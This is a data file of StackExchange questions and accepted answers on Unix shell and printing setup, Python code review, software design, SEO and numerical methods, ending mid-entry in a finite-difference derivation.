{  "id": "_unix.244607"  , "question": "I have a list of strings and want to find and delete lines containing these strings in a file. A short example of the list of strings is listed as below.File S1Mo 32,332Mo 7,262Mo 7,272Mo 7,28And a short example of the file is as follows.File A1Mo 32,33 I love you.2Mo 7,26  I like you.Hi 1,2  This is not so fun.Ab 3,4  I am stupid.My expected output is like this:Hi 1,2  This is not so fun.Ab 3,4  I am stupid.I tried to use the following command, unfortunately I failed:grep -f file S  file A|awk '{print $0}'I searched the related question, but most of them focus on deleting the line with one specific pattern. I Does anybody know how to deal with this issue? Thx."  , "title": "Find and delete lines containing multiple patterns in a file"  , "tags": "sed;awk;grep;string"  } 
{  "id": "_unix.15453"  , "question": "Is it possible to use an environment variable in a tmux.conf file? I am trying to set a default-path to an environment variable. Currently what I am trying is:set -g default-path $MYVARfurther I would like to check if $MYVAR is set already so I could do:if($MYVAR == ) set-environment -g MYVAR /somepath/Any ideas?"  , "title": "using environment variables in tmux.conf files"  , "tags": "environment variables;tmux"  , "accepted_answer": "Yes it looks like it is possible to expand shell variables in .tmux.conf file It looks like it's not required, but a good idea to quote them, esp. I was able to do this successfully with the status bar options just now.# In ~/.tmux.conf:set -g status_left $MYVAR etc: $ export MYVAR=Shell stuff$ tmuxI don't know about any 'if' or other control structures in the config, but there might be."  } 
{  "id": "_codereview.142453"  , "question": "This is the first program I've ever made in Python, and I never really studied the language (just looked at bits of code online) so I'm sure the performance is less than optimal.The Objective: At my college, security alerts are occasionally sent to our phones, and sometimes posted to our subreddit for discussion. To automate this, I set up my phone to forward relevant texts to an email address, then take the message from the email address and post to Reddit. The script scans my inbox every 30 seconds for unread emails and posts the newest one if it finds anything. Issues I wanted to use something like twilio to avoid the email address part, but I can only sign up for Alerts with one phone number, and I still want to receive alerts on my phoneToo many points of failure. My phone could be off, my computer (script host) could be off/asleep, text forwarding could fail, gmail could be down, etc.Scanning the inbox every 30 seconds seems needlessly excessive and I wish there was a better way to do it.There are a lot of while loops, but I don't know any other way to catch exceptions.I'm planning on putting the script onto a Raspberry Pi 3 later on so there's something dedicated running it, but I'd like to optimize the code as much as possible before I do that. I also had to remove the OAuth codes for security reasons.import prawimport imaplibimport emailimport timeimport getpassimport RUAlertsfrom datetime import datetimeapp_id = 'xxxxxxxxxxxx'app_secret = 'xxxxxxxxxxxx'app_uri = 'xxxxxxxxxxxx'app_scopes = 'account creddits edit flair history identity mysubreddits privatemessages read report save submit subscribe vote'app_ua='xxxxxxxxxxxx'app_account_code = 'xxxxxxxxxxxx'app_refresh = 'xxxxxxxxxxxx'def login():    r = praw.Reddit(app_ua)    r.set_oauth_app_info(app_id, app_secret, app_uri)    r.refresh_access_information(app_refresh)    return rmail = imaplib.IMAP4_SSL('imap.gmail.com')while True:    try:        emailpass = getpass.getpass('Please enter the password for xxxxxxx@xxxxx: ')        mail.login('xxxxxxxxxxxx@gmail.com', emailpass)        break    except imaplib.IMAP4.error:        print('Incorrect password')mail.select(inbox)while True:    try:        r = RUAlerts.login()        while 1:            result, response = mail.uid('search', None, (UNSEEN))            unread_msg_nums = response[0].split()            result, data = mail.uid('search', None, ALL)            latest_email_uid = data[0].split()[-1]            result, data = mail.uid('fetch', latest_email_uid, '(RFC822)')            raw_email = data[0][1]            email_message = email.message_from_bytes(raw_email)            if len(unread_msg_nums)>0:                print('\\t' + str(datetime.now().strftime(%Y-%m-%d %H:%M:%S)) + ' - Something\\'s wrong!')                for part in email_message.walk():                    if part.get_content_type()=='text/plain':                        Alert=part.get_payload()                        while True:                            try:                                r.submit(subreddit='xxxxxxxxxxxx',title=Alert,text=str(Alert)+\\n \\n ******** \\n \\n*^^I ^^am ^^a ^^bot. ^^For ^^any ^^questions, ^^comments, ^^or ^^concerns, ^^please ^^email [^^xxxxxxx@xxxxx](mailto://xxxxxxx@xxxxx)*)                                print('\\t' + str(Alert),end=' ')                                break                            except praw.errors.ExceptionList as e:                                print('\\tReddit error!' + str(e) + '\\tRetrying in 5 minutes - ' + str(datetime.now().strftime(%Y-%m-%d %H:%M:%S)))                                ##mail.uid('STORE', latest_email_uid, '-FLAGS', '\\SEEN')                                time.sleep(300)            else:                print(str(datetime.now().strftime(%Y-%m-%d %H:%M:%S)) + ' - All clear on the RU front')                time.sleep(30)            break    except:        print('\\t' + str(datetime.now().strftime(%Y-%m-%d %H:%M:%S)) + ' - No connection! Retrying in 5 minutes')        time.sleep(300)"  , "title": "Reddit bot that posts text messages to subreddit"  , "tags": "python;beginner;python 3.x;email;reddit"  , "accepted_answer": "My main comment is that you should separate the different concerns of you code into descriptive functions. This will make it a lot more readable (and re-usable).One comment before I get started:Your login function, which looks like it would log you in with the Reddit API seems to be unused at the moment. I guess this is a copy&paste error from censoring?Your first concern is to log-in with Gmail to get the mail object. This can be pasted directly into a separate function:def mail_login():    mail = imaplib.IMAP4_SSL('imap.gmail.com')    while True:        try:            emailpass = getpass.getpass(                'Please enter the password for xxxxxxx@xxxxx: ')            mail.login('xxxxxxxxxxxx@gmail.com', emailpass)            break        except imaplib.IMAP4.error:            print('Incorrect password')    mail.select(inbox)    return mailThe second task, which is repeated quite often, is to print a message with the current time-stamp preceding it:def log(text):    print('\\t{:%Y-%m-%d %H:%M:%S} - {}'.format(datetime.now(), text))Note that I used the custom format options of str.format here.Another task is to post an alert to Reddit, once it is found:def post_alert(alert, r):    alert_text =     {}     ********     *^^I ^^am ^^a ^^bot. ^^For ^^any ^^questions, ^^comments, ^^or ^^concerns, ^^please ^^email [^^xxxxxxx@xxxxx](mailto://xxxxxxx@xxxxx)*         while True:        try:            r.submit(subreddit='xxxxxxxxxxxx', title=alert,                     text=alert_text.format(alert))            print('\\t{}'.format(alert), end=' ')            break        except praw.errors.ExceptionList as e:            log('Reddit error! {}'.format(e))            time.sleep(300)I build the alert text first and filled it with str.format and used the log function.The second to last task is to search in your emails for new messages and yield all alert texts:class ShortTimeOut(Exception):    passdef search_for_alerts(mail):    result, response = mail.uid('search', None, (UNSEEN))    unread_msgs = response[0].split()    if not unread_msgs:        raise ShortTimeOut    else:        log('Something\\'s wrong!')        result, data = mail.uid('fetch', unread_msgs[-1], '(RFC822)')        email_message = email.message_from_bytes(data[0][1])        for part in email_message.walk():            if part.get_content_type() == 'text/plain':                yield part.get_payload()I yield the email contents (to be iterated over in the outer scope). I also added a custom exception to allow handling the short time-out in main.It seems to me like you did one request too many. After your first request you already have a list of all unseen emails, the last of which is the latest email. So there should be no need to do another request here.Lastly, I re-ordered the logic, so that if there are no new messages, no further requests are made.The last function is a main function, which calls all the other functions. It is executed in a if __name__ == __main__: guard to allow importing your code from other scripts:def main():    while True:        try:            r = RUAlerts.login()            mail = mail_login()            try:                for alert in search_for_alerts(mail):                    post_alert(alert, r)            except ShortTimeOut:                log('All clear on the RU front')                time.sleep(30)        except Exception as e:            log('{} Retrying in 5 minutes'.format(e))            time.sleep(300)if __name__ == __main__:    main()Final code:import prawimport imaplibimport emailimport timeimport getpassimport RUAlertsfrom datetime import datetimeclass ShortTimeOut(Exception):    passapp_id = 'xxxxxxxxxxxx'app_secret = 'xxxxxxxxxxxx'app_uri = 'xxxxxxxxxxxx'app_scopes = 'account creddits edit flair history identity mysubreddits privatemessages read report save submit subscribe vote'app_ua = 'xxxxxxxxxxxx'app_account_code = 'xxxxxxxxxxxx'app_refresh = 'xxxxxxxxxxxx'def login():    r = praw.Reddit(app_ua)    r.set_oauth_app_info(app_id, app_secret, app_uri)    r.refresh_access_information(app_refresh)    return rdef log(text):    print('\\t{:%Y-%m-%d %H:%M:%S} - {}'.format(datetime.now(), text))def mail_login():    mail = imaplib.IMAP4_SSL('imap.gmail.com')    while True:        try:            emailpass = getpass.getpass(                'Please enter the password for xxxxxxx@xxxxx: ')            mail.login('xxxxxxxxxxxx@gmail.com', emailpass)            break        except imaplib.IMAP4.error:            print('Incorrect password')    mail.select(inbox)    return maildef post_alert(alert, r):    alert_text =     {}     ********     *^^I ^^am ^^a ^^bot. ^^For ^^any ^^questions, ^^comments, ^^or ^^concerns, ^^please ^^email [^^xxxxxxx@xxxxx](mailto://xxxxxxx@xxxxx)*         while True:        try:            r.submit(subreddit='xxxxxxxxxxxx', title=alert,                     text=alert_text.format(alert))            print('\\t{}'.format(alert), end=' ')            break        except praw.errors.ExceptionList as e:            log('Reddit error! {}'.format(e))            time.sleep(300)def search_for_alerts(mail):    result, response = mail.uid('search', None, (UNSEEN))    unread_msgs = response[0].split()    if not unread_msgs:        raise ShortTimeOut    else:        log('Something\\'s wrong!')        result, data = mail.uid('fetch', unread_msgs[-1], '(RFC822)')        email_message = email.message_from_bytes(data[0][1])        for part in email_message.walk():            if part.get_content_type() == 'text/plain':                yield part.get_payload()def main():    while True:        try:            r = RUAlerts.login()            mail = mail_login()            try:                for alert in search_for_alerts(mail):                    post_alert(alert, r)            except ShortTimeOut:                log('All clear on the RU front')                time.sleep(30)        except Exception as e:            log({}! Retrying in 5 minutes.format(e))            time.sleep(300)if __name__ == __main__:    main()"  } 
{  "id": "_softwareengineering.251220"  , "question": "My condition:A WCF service which is self-hosted and it's on a Win8 Machine. Client is a WPF Program on another machine.Then I follow the article on Codeproject about how to set X509 certificate for WCF.Problem Description:Communication between Client and Service was OK when they are on the same Machine.When I put the Client on another machine, exception occurs that it says The caller is not authenticated by the service.I believe the cause of the exception above may be relevant to X509 Certificate.When I put the Client.exe on another computer, I just generate a new certificate for client, is it right?I want to know if the X509 Client certificate should be exported from the service Machine which has generated both client and server certificate, and then be imported into other Client Machine, or just use makecert.exe generate another certificate for other Client Machine?In short, can the certificate be generated by any machine or only by the machine having generated the service certificate?"  , "title": "X509 certificate question on WCF"  , "tags": "web services;wcf;certificate"  , "accepted_answer": "Public key infrastructure always involves a key PAIR (public and private). When you are authorizing to a WCF service with an x509 certificate you must have the private key and the service you are calling must have the public key (which is inside the x509 certificate). It must be the same pair because only your private key's public key knows how to verify the private key's signature. The two are mathematically connected.You can export the certificate from the certificate store then import it on the other server (using mmc with the ceriticate snap-in). It is also important that you transfer the certificate in a secure means AND/OR verify the hash of the certificate is correct before installing. If the wrong certificate was installed then someone else could access your service with THEIR private key."  } 
{  "id": "_cstheory.33965"  , "question": "I am interested in a class of optimization problems of which we know that the input variable is first subjected to noise $\\xi$ before entering the data-producing process $f$.I write the objective in probability, e.g. $x^* = \\underset{x \\in X}{\\arg } \\{ P[\\partial f(x + \\xi)^\\intercal w \\leq \\epsilon_1 ] \\geq 1 - \\epsilon_2\\}$ where $X \\subset \\mathbb{R}^d$ and $\\epsilon_i$ and $w$ are constant w.r.t $x$.Notes : $f$ is not known explicitly but is continuous and quite regular, so we are able to compute subgradients for any realization of $\\xi$. I am pretty sure it is not convex over all $X$.We do not know the distribution of $\\xi$ and it might have a dependency on $x$.Question :I've seen many works in stochastic approximation dealing with additive noise (noisy zeroth and first- order oracles); is there any relevant literature on noisy control variables ? I would be very grateful for any pointers, especially to approximation algorithms. Thank you in advance"  , "title": "Stochastic optimization with erroneous oracles"  , "tags": "reference request;approximation algorithms;optimization;stochastic process"  } 
{  "id": "_softwareengineering.346927"  , "question": "In functional programming languages, such as Scala, data types and structures, are really important. I am in two minds about the use of type-defs in helping with the readability of the code manipulating non-trivial data structures.Here is an example of a function that takes a generic collection in Scala, traverses it once in parallel and calculates its average value. Here I have used a type-def simply in order not to have (Int,Int) all over the place:def average(xs:GenTraversable[Int]):Int={        type IntTuple = (Int,Int)        def addIntTuples(x:IntTuple,y:IntTuple):IntTuple=(x._1+y._1,x._2+y._2)        val (sum,len)=xs.map(x=>(x,1))            .aggregate((0,0))(addIntTuples,addIntTuples)        sum/len    }Here is another version of the above function which tries to give the reader a better idea about what the function is doing by introducing typedefs indicating what the values in the tuple represent. def readableAverage(xs:GenTraversable[Int]):Int={        type Sum = Int        type Len = Int        type SumLen = (Sum,Len)        def add(x:SumLen,y:SumLen):SumLen=(x._1+y._1,x._2+y._2)        val (sum,len)=xs.map(x=>(x,1))            .aggregate((0,0))(add,add)        sum/len    }The second version is longer, but it perhaps gives the reader more of an insight into how the function operates. Question is: firstly, do you consider the second version actually more readable and insightful? If so, is the added benefit worth the increase in code length?"  , "title": "functional programming: impact of typedef-ing datatypes on code readability and maintenance"  , "tags": "functional programming;scala"  , "accepted_answer": "I strongly prefer the first version: addIntTuples does exactly what it says. It is a generic method that could even exist outside of this scope. This means that when I reason about the code, I can can think:okay this function just adds pairs of Ints, simple, lets see what the rest does...The other version forces specific meaning, that I need to appreciate before looking how it is actually used. Then I have to back and check:What is this SumLen again? Ah.. just a tuple of these Sum and Len... What type was Sum again? Int or Double? Int, (why?) Okay, lets go back again...This is of course exaggerated for small functions, but you can see it can become an issue for larger ones. I generally find type aliases that obscure the underlying type annoying.When two approaches look of similar complexity, I always opt for the one that is the most generic. E.g. try to separate the essence of what a method does from utility-like methods. That means you can easily factor out a commonly used utility, and IMHO it makes code easier to reason.EDIT:The main benefit for having generic helper/util methods is that you communicate that there is nothing to see here, no tricky business logic, just something that you wanted to hide/abstract from the actual interesting parts of the code.Check this relevant SO answer that uses scalaz semigroup:import scalaz._, Scalaz._scala> (1, 2.5) |+| (3, 4.4)res0: (Int, Double) = (4,6.9)or the second answer that uses Numeric to create essentially the same thing that scalaz provides:implicit class Tupple2Add[A : Numeric, B : Numeric](t: (A, B)) {  import Numeric.Implicits._  def |+| (p: (A, B)) = (p._1 + t._1, p._2 + t._2)}(2.0, 1) |+| (1.0, 2) == (3.0, 3)These not only create reusable code, but do something more important: They communicate that there is nothing special there. E.g. there is nothing special about Int, it works with any type that has a Numeric, so that it can add them p._1 + t._1.There is a very nice talk that touches this topic, Constraints Liberate, Liberties Constrain  Runar Bjarnason In a nutshell:def f[T](a:T):T has only one valid implementation: def f[T](a:T):T = a. Being so generic, the method is constrained to a single valid implementation.def f(a:Int):Int has a Int.MaxValue * 2 valid implementations.The takeaway message is that leaving your code needlessly specific to a particular use case opens it to multiple (and maybe incorrect) implementation and mental interpretations.As for the type aliases, I don't really like them because they just give a different name to the same type, and the compiler will happily accept either. I like more value classes and tagged types http://eed3si9n.com/learning-scalaz/Tagged+type.html . Both create a different type from the original, e.g. Int, so the compiler will complain if you use e.g. a Len type at the place where it expects a Sum type."  } 
{  "id": "_unix.304559"  , "question": "We have an ancient Business Basic application which prints reports to a simple line printer, and we would like to capture that output to a file (to then scrape the data from it). This runs on Red Hat 8 (circa 2002).The Basic code OPENs then PRINTs to LP, which makes its way to lpd printer lp. Inspecting a couple of random spool files that didn't get deleted in /var/spool/lpd/lp/, these look to have suitable content.So the question is, how to temporarily change something such that the Basic program sends its output only to a file (and that file doesn't get printed).One could achieve the effect by changing the Basic code, but the system is extensive, has many places where printing is performed, and there would be no easy way to offer an option at those places.Hence the pursuit of a way to do this, external to the Basic application, which can be instated and uninstated (to return printing to normal) from a script. In case it's relevant, the printcap entry:lp:\\:ml#0:\\:mx#0:\\:sd=/var/spool/lpd/lp:\\:af=/var/spool/lpd/lp/lp.acct:\\:sh:\\:rm=[ip address]:\\:rp=pr0:\\:lpd_bounce=true:\\:if=/usr/share/printconf/util/mf_wrapper:Thanks!"  , "title": "Redirect lpd lp to a file?"  , "tags": "lpd"  , "accepted_answer": "If you define your printcap entry similar to:lp:\\    :ml#0:\\    :mx#0:\\    :sd=/var/spool/lpd/lp:\\    :sh:\\    :lp=/dev/null:\\    :of=/var/output/capture:In this case the lp entry points to /dev/null and so it will never print anything out.The magic is in the of filter.  It's a very simple script:#!/bin/shDIR=/var/output/filesd=`/bin/date +%Y-%m-%d_%H:%M:%S`output=$DIR/$d.$$cat > $outputchmod 644 $outputexit 0Nowmkdir /var/output/fileschown daemon /var/output/filesAt this point we can do something like:% echo this is a test | lprAnd is if by magic:% ls /var/output/files2016-08-20_09:44:19.26541% cat /var/output/files/2016-08-20_09\\:44\\:19.26541 this is a testYou can modify the script to your exact needs.(I've tested this on FreeBSD, which is the only machine I have that still uses lpd !)Now you had an if filter in your original; if is an input filter which is designed to modify the incoming file to a normalised format.  I'm not sure what mf_wrapper does (m format?), but if you're seeing a mess in your output files then you might change the printcap to include the originalif filter:lp:\\    :ml#0:\\    :mx#0:\\    :sd=/var/spool/lpd/lp:\\    :sh:\\    :lp=/dev/null:\\    :of=/var/output/capture:\\    :if=/usr/share/printconf/util/mf_wrapper:For files that' you're happy with you could then manually send them to another print queue with an lpr -Prealqueue or similar."  } 
{  "id": "_webmaster.106662"  , "question": "I've got a Apache web server that serves 2 domains, now in my school one domain is blocked; one isn't (same webpage for the moment). I want that if people connect to my old domain (the one that isn't blocked) to get redirected, unless it comes from the school's IP address. How would I do this, I know it has something to do with .htaccess but I don't know how to do this."  , "title": "Redirect domain except those users coming from a specific IP address"  , "tags": "htaccess;redirects;apache"  } 
{  "id": "_unix.267047"  , "question": "I am looking for a way to monitor access to disk blocks, and to monitor the access as a bitmap of blocks. I also need the capability to freeze (and queue) the device block access (and also to unfreeze and write the pending blocks).Seems that this features must be supported at kernel mode (can't be done probably as a user application).In kernel there is blk-core.c which probably is the gate before calling the actual block device. I thought that I can use that for this purpose.It seems that is already uses some queue mechanism, and that I would need some way to understand when the actual writing to device is done.void blk_start_queue(struct request_queue *q){    WARN_ON(!irqs_disabled());        queue_flag_clear(QUEUE_FLAG_STOPPED, q);           __blk_run_queue(q); } EXPORT_SYMBOL(blk_start_queue);I also see that it uses sectors, not blocks (which is what I need to trace).Is it that the kernel filesystem write request is in sectors, while the below device driver of disk works in blocks ? If yes, than block monitoring must be in the disk driver instead.I also not sure about the device block itself (for example , hd.c)The request structure contain the exact place where the trasfer should be made:    structrequest     {       ....       sector  //thepositioninthedeviceatwhichthetransfershouldbemade      ....    }gives information about the exact sector to read/write, but how does the layer above which send the request can decide about it ? Isn't it the decision of the block driver (hd.c in this case) to take ?I probably missing something in my understand. Thank you for any suggestions on the subject."  , "title": "monitoring block access to disk"  , "tags": "drivers;disk;storage;sata;trace"  } 
{  "id": "_softwareengineering.245613"  , "question": "Is there a specific reason that this would break the language conceptually or a specific reason that this is technically infeasible in some cases?The usage would be with new operator.Edit: I'm going to give up hope on getting my new operator and operator new straight and be direct.The point of the question is: why are constructors special? Keep in mind of course that language specifications tell us what is legal, but not necessarily moral. What is legal is typically informed by what is logically consistent with the rest of the language, what is simple and concise, and what is feasible for compilers to implement. The possible rationale of the standards committee in weighing these factors are deliberate and interesting -- hence the question."  , "title": "Why doesn't C++ allow you to take the address of a constructor?"  , "tags": "c++"  , "accepted_answer": "Pointers-to-member functions make only sense if you have more than one member function with the same signature - otherwise there would be only one possible value for your pointer. But that is not possible for contructors, since in C++ different constructors of the same class must have different signatures.The alternative for Stroustrup would have been to choose a syntax for C++ where constructors could have a name different from the class name - but that would have prevented some very elegant aspects of the existing ctor syntax and had made the language more complicated. For me that looks like a high price just to allow a seldom needed feature which can be easily simulated by outsourcing the initialization of an object from the ctor to a different init function (a normal member function for which pointer-to-members can be created)."  } 
{  "id": "_unix.75898"  , "question": "what is the use of .. in linux scripting and in the following makefile?MODULE =  EQUALIZER = ..  SRCS = include ${EQUALIZER}/xyz.mak  include ${EQUALIZER}/pqr.mak"  , "title": "Use of .. in Linux scripting and makefiles"  , "tags": "linux;scripting;make"  } 
{  "id": "_softwareengineering.212734"  , "question": "Sometimes when I create an API that should enable getting a single value or all values I use the following pattern (passing NULL to the API, means get all rows):@Usernames - comma separeted list of usersCREATE PROC GetUsers (@Usernames VARCHAR(100) = NULL)ASBEGIN    SELECT *    FROM Users    Where @Usernames IS NULL OR dbo.in_list(@Usernames,Username) = 1 ENDIs this a good practice to use the OR condition the get both functionalities, or should i write something like this:CREATE PROC GetUsers (@Usernames VARCHAR(100) = NULL)ASBEGIN    IF(@Username IS NULL)    BEGIN        SELECT *        FROM Users    END    ELSE    BEGIN        SELECT *        FROM Users        Where dbo.in_list(@Usernames,Username) = 1     ENDEND*Note: This is only SQL for example, this is not a specific coding language question.Thanks."  , "title": "Is it good practice to not filter values according to nullability?"  , "tags": "design patterns;api;interfaces;null"  , "accepted_answer": "Your question title is different from the question within your posting, so I try to answer both questions.IMHO it is a perfectly valid idiom to have a function with an optional filter condition, and when you leave that filter out, you get the full unfiltered result set. That's true for SQL as well as for many other programming languages.As for which implementation is better: your first one is more comprehensive with less repetition of the same code (SELECT * FROM Users) and less boilerplate code (IF .. END ELSE ...) - so in general I would prefer this, since it is clearly better maintainable. Only if you suffer from an unexpected loss of performance you may test if the second alternative is faster. That will probably depend on your database system (maybe on the version), so do this only if you are 100% sure that it will be worth the hussle."  } 
{  "id": "_unix.180311"  , "question": "I have a CentOS 7 virtual machine with an internal network as well as 2 bridged connections, I am unable to find the config file for the third network card. Any ideas where it could be? or what the issue is.I have added 2 images. "  , "title": "Network card seems to be active but config file is missing?"  , "tags": "networking;systemd;udev"  } 
{  "id": "_webmaster.53409"  , "question": "Let's say you have a small website that has a PR of 3. On top of that you have on the domain itself a blog that is not linked to the website. The blog along with its posts are however listed in the sitemap.xml. Because they are listed in the sitemap.xml Google will index them. Do they however gain any PageRank as well?"  , "title": "Does PageRank flow to pages that are only listed in the sitemap.xml?"  , "tags": "pagerank;xml sitemap"  , "accepted_answer": "Websites don't have PageRank, web pages have PageRank.XML sitemaps do not affect PageRank in anyway. If two websites are using the same domain name but do not link to each other they will not influence the PageRank of each other's pages. Domains have no influence PageRank.PageRank is only influenced by incoming links, both internal and external. So any pages in that blog or website that incoming links to them will see an increase in its PageRank. How much is determined by the PageRank of the pages that link to them as well as the number of links on those pages. The higher the PageRank of the linking page, and the lower the number of links on that page, the more PageRank is sent to the linked to page.Every page has a default starting PageRank (I think it is .15).PageRank is a relative scale (10 is the highest) so you can get more links that send more PageRank to your pages but still see your PageRank drop. PageRank is no longer an important ranking factor. The time it took me to write this answer is longer than PageRank is worth discussing."  } 
{  "id": "_unix.26178"  , "question": "I am running a Suse Linux 11.04 system. My problem is that when I do a fresh login into a shell as root, a new Xauthority file of the form xauth***** gets created in the /root/ directory. Upon exiting from the shell, a few .xauth files remain behind. I tried it on other systems but this does not happen. Also why is the XAUTHORITY environment variable set only for root and not for my other users in the system?man xdm says the follwing about the XAUTHORITY environment variable DisplayManager.DISPLAY.userAuthDirWhen xdm is unable to write to the usual user authorization file ($HOME/.Xauthority), it creates a unique file name in this directory and   points the  environment variable XAUTHORITY at the created file.  It uses /tmp by default.So in my system I do this:xauthUsing authority file /root/.xauthPpRsfUxauth> I exit [Ctrl+d] and I log back in, I see that now it is starting to use a different .xauth* file.xauthUsing authority file /root/.xauthq1xt4zxauth>Why does it need to keep on creating a diffent xauth file everytime I login? Also why in root because the default location is /tmp/? I have not set .DisplayManagaer.DISPLAY.userAuthDir to /tmp in the xdm configuration file. I don't see this behaviour on any other system. In RHEL and Ubuntu all is fine. For pointers I am not the only one who faces this issue. I guess this post is similar: `$XAUTHORITY` appears from 'nowhere' on su+tmux.Does anyone know how I can fix this?"  , "title": "XAUTHORITY environ variable set repeatedly on every login"  , "tags": "ssh;xorg;x11;xauth"  } 
{  "id": "_unix.170099"  , "question": "I've just installed apticron to get mails as available update notifications. Now I was wondering if there was a way to set up mutt to manage my mails from /var/spool/mail/daedalus?I'm on Debian Jessie, if that is relevant."  , "title": "How use mutt to manage /var/spool/mail/user"  , "tags": "email;mutt"  , "accepted_answer": "You can set up the mailbox(es) to use in mutt via ~/.muttrc.It would be something like this (see the manpage for muttrc for the full details):set folder=/var/spool/mailset mbox=+daedalus"  } 
{  "id": "_unix.105592"  , "question": "If I time a process using the time command, I get output for 'real', 'user', and 'sys'.My understanding from this discussion is that 'real' is wall time, whereas 'user' and 'sys' are process time.Does this imply that 'user' and 'sys' will be unaffected by other processes? In other words, if the computer is under heavy load or light load from other processes, it may take more time on the wall clock ('real') to finish my process. But my process may have only required 5 seconds of running time, even though it was spread out over 20 seconds of real-world time.Am I guaranteed that I'll be told '5 seconds user time' regardless of whatever else the system is doing?"  , "title": "How can other processes affect measurements made with `time`?"  , "tags": "performance;time;benchmark"  , "accepted_answer": "No. Process/context switches aren't free.How much other processes running will slow yours down is very system-dependent, but it consists of things like:Every time a processor switches to a different address space (including process), then the MMU cache must be flushed. And probably the processor L1 caches. And maybe the L2 and L3 caches. This will slow down memory access right after your process is resumed (and this counts against your user time).On a SMP (or multi-core) box, if two processes are trying to access the same parts of (physical) RAM, the processors must cooperate. This takes time. It is often done at a architecture level, below even the OS. This will count against your user or sys time, depending on when it hit.Quick kernel locking (that doesn't actually schedule another process) will count against your sys time. This is similar to the point above.on NUMA boxes, you may get moved to a different node. Memory access may now be cross-domain, and thus slowerother processes may influence power management decisions. For example, pegging more cores will reduce Intel Turbo Boost speeds, to keep the processor package inside its electrical & thermal specs. Even without turbo boost, the processor may be slowed due to excess heat. It can work the other way toomore load may cause the CPU speed governor to increase the CPU speed.There are other shared resources on a system; if waiting for them doesn't actually involve your process sleeping, then it'll get counted against your user or sys time."  } 
{  "id": "_softwareengineering.328749"  , "question": "I'm working on a Spring-based REST api that has v1 and v2 variants:/api/v1/dates/api/v2/datesCorrespondingly, there are v1 and v2 packages in the code base:com.company.api.v1com.company.api.v2Is it a good practice to postfix class names with version number like below:DatesControllerV1.java (in v1 package)DatesControllerV2.java (in v2 package)I prefer not postfixing version in the class name as: their package names should tell you about the version already, redundant;I simply don't like numeric character in class name.However, not postfixing version(ie. same class name but in different packages) will increase the probability of using the wrong class accidentally due to IDE auto-complete/auto-import by careless developers. I tried looking for a github repo that has similar code base structure and see how they deal with it. But could not find one unfortunately.I'm wondering which approach do you think is better and the reason. I'm also wondering if there is a better approach(for the current code base setup) than these two?UPDATEWith the help from Azuaron and CormacMulhall, I realized that I really don't have other options to improve my current situation, given that both the v1 and v2 APIs reside in the same code base and I cannot change this setup.For those who are seeking for the proper way of doing this(having different versions of APIs), please see Azuaron's answer below. "  , "title": "Version-postfixed class name for REST api"  , "tags": "java;rest;coding standards;naming;spring mvc"  } 
{  "id": "_unix.374629"  , "question": "I fetched cryptodev source from http://nwl.cc/pub/cryptodev-linux/cryptodev-linux-1.9.tar.gz to directory ~/cryptodev, I unpacked tar archive and I entered into ~/cryptodev/cryptodev-linux-1.9 directory. I followed instructions on https://github.com/cryptodev-linux/cryptodev-linux/blob/master/INSTALL and I enter make command and I got below error:hubot@hubot-vps:~/cryptodev/cryptodev-linux-1.9 $ makemake -C /lib/modules/4.9.24-v7+/build M=/home/hubot/cryptodev/cryptodev-linux-1.9 modulesmake[1]: *** /lib/modules/4.9.24-v7+/build: No such file or directory.  Stop.Makefile:27: recipe for target 'build' failedmake: *** [build] Error 2I stopped at this error and I do not know what should I do next. I count on help. Thank you in advance."  , "title": "make[1]: *** /lib/modules/4.9.24-v7+/build: No such file or directory. Stop"  , "tags": "raspbian;cryptsetup"  } 
{  "id": "_scicomp.27503"  , "question": "I need to have a finite difference stencil  for the mixed derivative$$f_{xy}$$on nonuniform grids such as this one:Since I could not find a stencil in the literature, I tried to derive it by my self. As usual I started with a Taylor series expansion:$(I)\\qquad f(x+b,y+d)\\approx f + b f_x+d f_y +\\frac{b^2}{2}f_{xx} +bdf_{xy} +\\frac{d^2}{2}f_{yy}$$(II)\\qquad f(x+b,y-c)\\approx f + b f_x-c f_y +\\frac{b^2}{2}f_{xx} -bcf_{xy} +\\frac{c^2}{2}f_{yy}$$(III)\\qquad f(x-a,y-c)\\approx f - a f_x-c f_y +\\frac{a^2}{2}f_{xx} +acf_{xy} +\\frac{c^2}{2}f_{yy}$$(IV)\\qquad f(x-a,y+d)\\approx f - a f_x+d f_y +\\frac{a^2}{2}f_{xx} -adf_{xy} +\\frac{d^2}{2}f_{yy}$I would like to find a combination of the equations above ($I - IV$) where all derivative terms on the right hand side ($f_x, f_y, f_{xx}, f_ {yy}$) except the mixed derivative vanish. This leads to the following linear system of equations:$\\begin{bmatrix} bf_x && bf_x && -af_x && -af_x \\\\ df_y && -cf_y && -cf_y && df_y \\\\\\frac{b^2}{2}f_{xx} && \\frac{a^2}{2}f_{xx} && \\frac{a^2}{2}f_{xx} && \\frac{a^2}{2}f_{xx}\\\\\\frac{d^2}{2}f_{yy} && \\frac{c^2}{2}f_{yy} && \\frac{c^2}{2}f_{yy} &&\\frac{d^2}{2}f_{yy}\\end{bmatrix}$ $\\begin{bmatrix} P \\\\ Q \\\\ R \\\\ S \\end{bmatrix}$ = $\\begin{bmatrix} 0 \\\\ 0 \\\\ 0 \\\\ 0 \\end{bmatrix}$A solution to this problem is $P=1, Q=-1, R=1, S=-1$.Multiplying the equations $I,II,III,IV$ with the respective factors $P,Q,R,S$ and adding them together:$f(x+b,y+d) - f(x+b,y-c) + f(x-a,y-c) - f(x-a,y+d) = (bd + bc + ac +ad)f_{xy}$And thus:$f_{xy} = \\frac{f(x+b,y+d) - f(x+b,y-c) + f(x-a,y-c) - f(x-a,y+d)}{bd + bc + ac +ad}$Can anybody assure me that this is a correct stencil for the mixed derivative for nonuniform grids? What worries me a little bit is that the individual terms ($f(x+b,y+d)$ etc.) do have a uniform weight. So the value at $x+b,y+d$ has equal weight as the point $x-a,y-c$ even though the latter is much closer to the center point $(x,y)$."  , "title": "Finite difference for mixed derivatives on nonuniform grid"  , "tags": "finite difference"  , "accepted_answer": "Here we shall follow two procedure to calculate $f_{xy}$ one using Taylors series and another using polynomial fitting. Though both the procedure end up in the same formulation there is some advantages and disadvantage for each one.Using Taylors series:The advantage of this procedure is: having control over truncation error is easy because we can easily decide what order we want by choosing the order equations that we desired. Programming this is slightly tedious than polynomial series.Let's expand all the points using Taylors series will end up in$(I)\\qquad f(x+b,y+d)\\approx f + b f_x+d f_y +\\frac{b^2}{2}f_{xx} +bdf_{xy} +\\frac{d^2}{2}f_{yy} + \\frac{b^3}{6}f_{xxx} + \\frac{d^3}{6}f_{yyy} + 